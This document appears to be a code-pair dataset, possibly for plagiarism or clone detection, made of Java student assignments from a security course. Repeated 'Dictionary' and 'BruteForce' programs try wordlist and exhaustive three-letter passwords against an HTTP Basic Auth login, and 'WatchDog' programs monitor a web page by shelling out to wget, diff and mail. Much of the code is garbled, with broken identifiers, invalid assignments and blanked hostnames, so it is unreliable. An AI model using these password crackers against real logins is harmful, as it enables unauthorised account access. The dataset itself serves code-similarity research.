connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
251.java | 161.java | 0 | import java.util.*;
import java.io.*;
public class WatchDog {
public WatchDog() {
}
public static void main(String args[]) {
DataInputStream newin;
try{
System.out.println("Downloading first copy");
Runtime.getRuntime().exec("wget http://www.cs.rmit.edu./students/ -O oldfile.html");
String[] cmdDiff = {"//sh", "-c", "diff oldfile.html newfile.html > Diff.txt"};
String[] cmdMail = {"//sh", "-c", "mailx -s \"Diffrence\" \"@cs.rmit.edu.\" < Diff.txt"};
while(true){
Thread.sleep(24*60*60*1000);
System.out.println("Downloading new copy");
Runtime.getRuntime().exec("wget http://www.cs.rmit.edu./students/ -O newfile.html");
Thread.sleep(2000);
Runtime.getRuntime().exec(cmdDiff);
Thread.sleep(2000);
newin = new DataInputStream( new FileInputStream( "Diff.txt"));
if (newin.readLine() != null){
System.out.println("Sending Mail");
Runtime.getRuntime().exec(cmdMail);
Runtime.getRuntime().exec("cp newfile.html oldfile.html");
}
}
}
catch(Exception e){
e.printStackTrace();
}
}
} |
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
173.java | 161.java | 0 |
import java.util.*;
import java.io.*;
import java.net.*;
public class Watchdog extends TimerTask
{
public void run()
{
Runtime t = Runtime.getRuntime();
Process pr= null;
String Fmd5,Smd5,temp1;
int index;
try
{
pr = t.exec("md5sum csfirst.html");
InputStreamReader stre = new InputStreamReader(pr.getInputStream());
BufferedReader bread = new BufferedReader(stre);
s = bread.readLine();
index = s.indexOf(' ');
Fmd5 = s.substring(0,index);
System.out.println(Fmd5);
pr = null;
pr = t.exec("wget http://www.cs.rmit.edu./students/");
pr = null;
pr = t.exec("md5sum index.html");
InputStreamReader stre1 = new InputStreamReader(pr.getInputStream());
BufferedReader bread1 = new BufferedReader(stre1);
temp1 = bread1.readLine();
index = temp1.indexOf(' ');
Smd5 = temp1.substring(0,index);
System.out.println(Smd5);
pr = null;
if(Fmd5 == Smd5)
System.out.println(" changes Detected");
else
{
pr = t.exec("diff csfirst.html index.html > report.html");
pr = null;
try{
Thread.sleep(10000);
}catch(Exception e){}
pr = t.exec(" Message.txt | mutt -s Chnages Webpage -a report.html -x @yallara.cs.rmit.edu.");
}
}catch(java.io.IOException e){}
}
}
|
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
045.java | 161.java | 0 | import java.io.*;
import java.net.*;
import java.text.*;
import java.util.*;
class BruteForce {
String password="";
int num =401;
public static void main (String[] args) {
String str="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
BruteForce URLcon;
int length = 0;
String passwd="";
int t0,t1;
if (args.length == 0) {
System.err.println (
"Usage : java BruteForce <username>");
return;
}
String username = args[0];
t0=System.currentTimeMillis();
System.out.println (" " + new Date());
System.out.println ("Using BruteForce method attack "+username+"'s password.Please waiting.......");
for (int i=0;i<str.length();i++){
passwd=str.substring(i,i+1);
URLcon = new BruteForce (passwd,username);
if ((URLcon.num)!=401) {
t1=System.currentTimeMillis();
System.out.println("The password: "+ passwd);
double dt =t1-t0;
System.out.println("It took "+ DecimalFormat.getInstance().format(dt/1000)+ " seconds.");
System.out.println ("Finish " + new Date());
return;
}
for (int j=0;j<str.length();j++){
passwd =str.substring(i,i+1)+str.substring(j,j+1);
URLcon = new BruteForce (passwd,username);
if ((URLcon.num)!=401) {
t1=System.currentTimeMillis();
System.out.println("The password: "+ passwd);
double dt =t1-t0;
System.out.println("It took "+ DecimalFormat.getInstance().format(dt/1000)+ " seconds.");
System.out.println ("Finish " + new Date());
return;
}
for (int m=0;m<str.length();m++){
passwd = str.substring(i,i+1)+str.substring(j,j+1)+str.substring(m,m+1);
URLcon = new BruteForce (passwd,username);
if ((URLcon.num)!=401) {
t1=System.currentTimeMillis();
System.out.println("The password: "+ passwd);
double dt =t1-t0;
System.out.println("It took "+DecimalFormat.getInstance().format(dt/1000)+ " seconds.");
System.out.println ("Finish " + new Date());
return;
}
}
}
}
System.out.println(" not find the password");
}
public BruteForce (String password, String username){
String urlString = "http://sec-crack.cs.rmit.edu./SEC/2/" ;
try {
String userPassword = username+":"+password ;
String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());
URL url = new URL (urlString);
HttpURLConnection uc = (HttpURLConnection) url.openConnection();
uc.setRequestProperty ("Authorization", " " + encoding);
url = uc.getResponseCode();
}
catch(MalformedURLException e){
System.out.println(e);
}catch(IOException e){
System.out.println(e);
}
}
} |
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
143.java | 161.java | 0 |
import java.net.*;
import java.io.*;
import java.util.*;
public class BruteForce{
private static URL location;
private static String user;
private BufferedReader input;
private char [] password = {'A', 'A', 'A'};
private int noLetters = 3;
public BruteForce() {
Authenticator.setDefault(new MyAuthenticator ());
startTime = System.currentTimeMillis();
boolean passwordMatched = false;
while (!passwordMatched) {
try {
input = new BufferedReader(new InputStreamReader(location.openStream()));
String line = input.readLine();
while (line != null) {
System.out.println(line);
line = input.readLine();
}
input.close();
passwordMatched = true;
}
catch (ProtocolException e)
{
}
catch (ConnectException e) {
System.out.println("Failed connect");
}
catch (IOException e) {
e.printStackTrace();
System.exit(-1);
}
}
endTime = System.currentTimeMillis();
System.out.println("Total Time: "+cad.concat(Math.toString(endTime - startTime)));
}
private char[] nextPassword() {
char [] currentPassword = new char[noLetters];
for (int i=0; i<noLetters; i++) {
currentPassword[i] = password[i];
}
boolean loop = true;
int i = noLetters - 1;
while (loop ) {
password[i]++;
loop = false;
if (password[i] > 'Z' && password[i] < 'a') {
password[i] = 'a';
}
else if (password[i] > 'z') {
if (noLetters == 1 && i == 0) {
System.out.println("Password not found");
System.exit(-1);
}
password[i] = 'A';
i--;
loop = true;
if (i<0) {
noLetters--;
for (int j=0; j <noLetters; j++) {
password[j] = 'A';
loop = false;
}
}
}
}
return currentPassword;
}
public static void main(String args[]) {
if (args.length != 2) {
System.out.println("Usage: java BruteForce url user");
System.exit(-1);
}
try {
location = new URL(args[0]);
}
catch (MalformedURLException e) {
e.printStackTrace();
}
user = new String().concat(args[1]);
new BruteForce();
}
class MyAuthenticator extends Authenticator {
protected PasswordAuthentication getPasswordAuthentication() {
char [] currentPassword = nextPassword();
System.out.print(user.concat("-"));
System.out.println(currentPassword);
return new PasswordAuthentication (user, currentPassword);
}
}
}
|
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
050.java | 161.java | 0 | import java.net.*;
import java.io.*;
import java.*;
import java.Runtime.*;
import java.Object.*;
import java.util.*;
import java.util.StringTokenizer;
public class makePasswords
{
public String [ ] alphabet1 = {"A", "B", "C", "D", "E", "F", "G", "H", "I",
"J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X",
"Y", "Z", "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m",
"n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"};
public String [ ] alphabet2 = {"A", "B", "C", "D", "E", "F", "G", "H", "I",
"J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X",
"Y", "Z", "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"};
public String [ ] alphabet3 = {"A", "B", "C", "D", "E", "F", "G", "H", "I",
"J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X",
"Y", "Z", "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m",
"n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"};
Vector in = new Vector();
public void makePass()
{
try
{
PrintWriter pw = new PrintWriter(new FileWriter("new.txt"));
for(int i = 0; i < alphabet1.length; i++)
{
for(int j = 0; j < alphabet2.length; j++)
{
for(int k = 0; k < alphabet3.length; k++)
{
String newStr = (alphabet1[i]+alphabet2[j]+alphabet3[k]);
pw.println(newStr);
}
}
}
}catch(Exception ex){}
}
private StringTokenizer tokenizer;
private BufferedReader bf;
private String line;
private String first;
public void loadFile()throws NoSuchElementException, IOException
{
try{
bf = new BufferedReader(new FileReader("new.txt"));
}
catch(FileNotFoundException fe){}
catch(IOException io){}
while((line = bf.readLine())!=null)
{
int index = 0;
tokenizer = new StringTokenizer(line);
try
{
first = tokenizer.nextToken();
if (first.length() == 3)
{
in.add(first);
}
}
catch(NoSuchElementException n)
{
System.out.println("File Loaded Succesfully");
}
}
}
public Vector getVector()
{
return in;
}
public static void main(String args[])
{
makePasswords mP = new makePasswords();
mP.makePass();
Vector v = mP.getVector();
}
}
|
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
035.java | 161.java | 0 |
import java.io.*;
import java.util.*;
import java.text.*;
import java.net.*;
public class BruteForce
{
private int consonantUpperBound = CrackingConstants.consonantUpperBound;
private int consonantLowerBound = CrackingConstants.consonantLowerBound;
private int vowelUpperBound = CrackingConstants.vowelUpperBound;
private int vowelLowerBound = CrackingConstants.vowelLowerBound;
private int verbose = CrackingConstants.quietMode;
private int scanType = CrackingConstants.casedScan;
private int passwordsTried = 0;
public static void main(String args[])
{
int tStart;
int tFinish;
DateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL);
BruteForce pwForcer = new BruteForce();
if(args.length > 0)
{
for(int i = 0; i < args.length; i++)
{
if((args[i].indexOf("-h") > -1) || (args[i].indexOf("-H") > -1))
{
System.out.println("\n-s -S\tonly tests lower passwords.");
System.out.println("\n-v\tprints the patterns as tried.");
System.out.println("-V\tprints out the patterns and the passwords as generated. \n\tThis option slows the program considerably.\n");
return;
}
else if(args[i].indexOf("-v") > -1)
pwForcer.verbose = CrackingConstants.verboseMode1;
else if(args[i].indexOf("-V") > -1)
pwForcer.verbose = CrackingConstants.verboseMode2;
else if((args[i].indexOf("-s") > -1) || (args[i].indexOf("-S") > -1))
pwForcer.scanType = CrackingConstants.simpleScan;
}
}
System.out.println("\n\n********************************\n");
System.out.println("Starting brute force run at " +
longTimestamp.format(new Date()));
if(args.length > 0)
{
String arguments = "";
for( i =0; i < args.length; i++)
arguments += args[i] + " ";
System.out.println("\nOptions: " + arguments + "\n");
}
if(pwForcer.scanType == CrackingConstants.simpleScan)
System.out.println("Only lower passwords tried.");
else
System.out.println("Both lower and upper passwords tried.");
System.out.println("\n********************************\n");
tStart = System.currentTimeMillis();
pwForcer.run();
tFinish = System.currentTimeMillis();
if (pwForcer.scanType == CrackingConstants.casedScan)
{
System.out.println ("\n\n" + pwForcer.passwordsTried + " passwords were generated (out of a possible " + (26 * 26 * 26 * 8) + ")");
System.out.println ("That is " + pwForcer.passwordsTried/8 + " unique three letter combinations were tried (out of a possible " + (26 * 26 * 26) + ")");
}
else
{
System.out.println ("\n\n" + pwForcer.passwordsTried + " passwords were generated (out of a possible " + (26 * 26 * 26) + ")\n");
}
System.out.println("\n********************************\n");
System.out.println("Finished brute force run at " +
longTimestamp.format(new Date()));
System.out.println("Time taken: " + ((tFinish - tStart)/1000) + " seconds");
System.out.println("\n********************************");
}
public BruteForce()
{
}
private void run()
{
leftIndex = 0;
midIndex = 0;
rightIndex = 0;
if(verbose > CrackingConstants.quietMode)
System.out.println("Trying stutters (AAA, aaa, etc.)");
for( i = vowelLowerBound; i <= consonantUpperBound; i++)
{
leftIndex = i;
midIndex = i;
rightIndex = i;
if(tryLogin(leftIndex, midIndex, rightIndex))
return;
}
if(verbose > CrackingConstants.quietMode)
System.out.println("Trying consonant-vowel-consonant patterns.");
for(leftIndex = consonantLowerBound; leftIndex <= consonantUpperBound; leftIndex++)
for(midIndex = vowelLowerBound; midIndex <= vowelUpperBound; midIndex++)
for (rightIndex = consonantLowerBound; rightIndex <= consonantUpperBound; rightIndex++)
if(tryLogin(leftIndex, midIndex, rightIndex))
return;
if(verbose > CrackingConstants.quietMode)
System.out.println("Trying consonant-vowel-vowel patterns.");
for(leftIndex = consonantLowerBound; leftIndex <= consonantUpperBound; leftIndex++)
for(midIndex = vowelLowerBound; midIndex <= vowelUpperBound; midIndex++)
for (rightIndex = vowelLowerBound; rightIndex <= vowelUpperBound; rightIndex++)
if(tryLogin(leftIndex, midIndex, rightIndex))
return;
if(verbose > CrackingConstants.quietMode)
System.out.println("Trying vowel-consonant-vowel patterns.");
for(leftIndex = vowelLowerBound; leftIndex <= vowelUpperBound; leftIndex++)
for(midIndex = consonantLowerBound; midIndex <= consonantUpperBound; midIndex++)
for (rightIndex = vowelLowerBound; rightIndex <= vowelUpperBound; rightIndex++)
if(tryLogin(leftIndex, midIndex, rightIndex))
return;
if(verbose > CrackingConstants.quietMode)
System.out.println("Trying vowel-consonant-consonant patterns.");
for(leftIndex = vowelLowerBound; leftIndex <= vowelUpperBound; leftIndex++)
for(midIndex = consonantLowerBound; midIndex <= consonantUpperBound; midIndex++)
for (rightIndex = consonantLowerBound; rightIndex <= consonantUpperBound; rightIndex++)
if(tryLogin(leftIndex, midIndex, rightIndex))
return;
if(verbose > CrackingConstants.quietMode)
System.out.println("Trying vowel-vowel-consonant patterns.");
for(leftIndex = vowelLowerBound; leftIndex <= vowelUpperBound; leftIndex++)
for(midIndex = vowelLowerBound; midIndex <= vowelUpperBound; midIndex++)
for (rightIndex = consonantLowerBound; rightIndex <= consonantUpperBound; rightIndex++)
if(tryLogin(leftIndex, midIndex, rightIndex))
return;
if(verbose > CrackingConstants.quietMode)
System.out.println("Trying consonant-consonant-vowel patterns.");
for(leftIndex = consonantLowerBound; leftIndex <= consonantUpperBound; leftIndex++)
for(midIndex = consonantLowerBound; midIndex <= consonantUpperBound; midIndex++)
for (rightIndex = vowelLowerBound; rightIndex <= vowelUpperBound; rightIndex++)
if(tryLogin(leftIndex, midIndex, rightIndex))
return;
if(verbose > CrackingConstants.quietMode)
System.out.println("Trying remaining vowel-vowel-vowel patterns.");
for(leftIndex = vowelLowerBound; leftIndex <= vowelUpperBound; leftIndex++)
for(midIndex = vowelLowerBound; midIndex <= vowelUpperBound; midIndex++)
for (rightIndex = vowelLowerBound; rightIndex <= vowelUpperBound; rightIndex++)
if((leftIndex == midIndex) && (leftIndex == rightIndex))
{
}
else
{
if(tryLogin(leftIndex, midIndex, rightIndex))
return;
}
if(verbose > CrackingConstants.quietMode)
System.out.println("Trying remaining consonant-consonant-consonant patterns.");
for(leftIndex = consonantLowerBound; leftIndex <= consonantUpperBound; leftIndex++)
for(midIndex = consonantLowerBound; midIndex <= consonantUpperBound; midIndex++)
for (rightIndex = consonantLowerBound; rightIndex <= consonantUpperBound; rightIndex++)
if((leftIndex == midIndex) && (leftIndex == rightIndex))
{
}
else
{
if(tryLogin(leftIndex, midIndex, rightIndex))
return;
}
if(verbose > CrackingConstants.quietMode)
System.out.println("Trying monographs (A, a, etc.)");
for ( i = 0; i <= consonantUpperBound; i++)
{
leftIndex = i;
midIndex = -1;
rightIndex = -1;
if(tryLogin(leftIndex, midIndex, rightIndex))
return;
}
if(verbose > CrackingConstants.quietMode)
System.out.println("Trying bigraphs (AA, aa, etc.)");
for( i = 0; i <= consonantUpperBound; i++)
{
for( j = 0; j <= consonantUpperBound; j++)
{
leftIndex = i;
midIndex = j;
rightIndex = -1;
if(tryLogin(leftIndex, midIndex, rightIndex))
return;
}
}
return;
}
private boolean tryLogin( int leftIndex, int midIndex, int rightIndex)
{
LoginAttempt login = new LoginAttempt();
LoginAttemptResults results = new LoginAttemptResults();
CasePasswords casedPasswords = new CasePasswords(verbose);
String tail = "";
results = login.tryPasswords(casedPasswords.createCasedPasswords(leftIndex, midIndex, rightIndex, tail, CrackingConstants.lowerChars, CrackingConstants.upperChars, scanType), passwordsTried);
passwordsTried = results.getPasswordsTried();
return results.getSuccess();
}
}
|
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
229.java | 161.java | 0 |
import java.io.*;
import java.*;
import java.net.*;
import java.util.*;
public class WatchDog {
public static void main (String[] args) throws IOException {
BufferedReader stdin = new BufferedReader (new InputStreamReader(System.in));
try{
twentyfourhours = 86400000;
Timer timer = new Timer();
final Runtime rt = Runtime.getRuntime();
try{
Process wg1 = rt.exec("./.sh");
wg1.waitFor();
}
catch(InterruptedException e ){
System.err.println();
e.printStackTrace();
}
class RepeatTask extends TimerTask{
public void run(){
try{
Process wg2 = rt.exec("./task.sh");
wg2.waitFor();
FileReader fr = new FileReader("check.txt");
BufferedReader bufr = new BufferedReader(fr);
String check = bufr.readLine();
if(check.equals(".txt: FAILED")) {
Process difftosend = rt.exec("./diff.sh");
difftosend.waitFor();
Process reset = rt.exec("./.sh");
reset.waitFor();
}
FileReader fr2 = new FileReader("imgdiffs.txt");
BufferedReader bufr2 = new BufferedReader(fr2);
String imdiff = bufr2.readLine();
if(imdiff != null){
Process imdifftosend = rt.exec("./img.sh");
imdifftosend.waitFor();
Process reset = rt.exec("./.sh");
reset.waitFor();
}
}
catch(InterruptedException e){System.err.println();e.printStackTrace();}
catch(IOException e){
System.err.println(e);
e.printStackTrace();
}
}}
timer.scheduleAtFixedRate(new RepeatTask(),twentyfourhours,twentyfourhours);
}
catch(IOException e){
System.err.println(e);
e.printStackTrace();
}
}}
|
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
069.java | 161.java | 0 |
import java.misc.BASE64Encoder;
import java.misc.BASE64Decoder;
import java.io.*;
import java.net.*;
import java.util.*;
public class BruteForce {
static char [] passwordDataSet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".toCharArray();
private int indices[] = {0,0,0};
private String url = null;
public BruteForce(String url) {
this.url = url;
}
private int attempts = 0;
private boolean stopGen = false;
public String getNextPassword(){
String nextPassword = "";
for(int i = 0; i <indices.length ; i++){
if(indices[indices.length -1 ] == passwordDataSet.length)
return null;
if(indices[i] == passwordDataSet.length ){
indices[i] = 0;
indices[i+1]++;
}
nextPassword = passwordDataSet[indices[i]]+nextPassword;
if(i == 0)
indices[0]++;
}
return nextPassword;
}
public void setIndices(int size){
this.indices = new int[size];
for(int i = 0; i < size; i++)
this.indices[i] = 0;
}
public void setPasswordDataSet(String newDataSet){
this.passwordDataSet = newDataSet.toCharArray();
}
public String crackPassword(String user) throws IOException, MalformedURLException{
URL url = null;
URLConnection urlConnection = null;
String outcome = null;
String authorization = null;
String password = null;
BASE64Encoder b64enc = new BASE64Encoder();
InputStream content = null;
BufferedReader in = null;
String line;
int i = 0;
while(!"HTTP/1.1 200 OK".equalsIgnoreCase(outcome)){
url = new URL(this.url);
urlConnection = url.openConnection();
urlConnection.setDoInput(true);
urlConnection.setDoOutput(true);
urlConnection.setRequestProperty("GET", url.getPath() + " HTTP/1.1");
urlConnection.setRequestProperty("Host", url.getHost());
password = getNextPassword();
if(password == null)
return null;
System.out.print(password);
authorization = user + ":" + password;
urlConnection.setRequestProperty("Authorization", " "+ b64enc.encode(authorization.getBytes()));
outcome = urlConnection.getHeaderField(null);
this.attempts ++;
urlConnection = null;
url = null;
if(this.attempts%51 == 0)
for(int b = 0; b < 53;b++)
System.out.print("\b \b");
else
System.out.print("\b\b\b.");
}
return password;
}
public int getAttempts(){
return this.attempts;
}
public static void main (String[] args) {
if(args.length != 2){
System.out.println("usage: java attacks.BruteForce <url crack: e.g. http://sec-crack.cs.rmit.edu./SEC/2/> <username: e.g. >");
System.exit(1);
}
BruteForce bruteForce1 = new BruteForce(args[0]);
try{
Calendar cal1=null, cal2=null;
cal1 = Calendar.getInstance();
System.out.println("Cracking started at: " + cal1.getTime().toString());
String password = bruteForce1.crackPassword(args[1]);
if(password != null)
System.out.println("\nPassword is: "+password);
else
System.out.println("\nPassword could not retrieved!");
cal2 = Calendar.getInstance();
System.out.println("Cracking finished at: " + cal2.getTime().toString());
Date d3 = new Date(cal2.getTime().getTime() - cal1.getTime().getTime());
System.out.println("Total Time taken crack: " + (d3.getTime())/1000 + " sec");
System.out.println("Total attempts : " + bruteForce1.getAttempts());
}catch(MalformedURLException mue){
mue.printStackTrace();
}
catch(IOException ioe){
ioe.printStackTrace();
}
}
} |
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
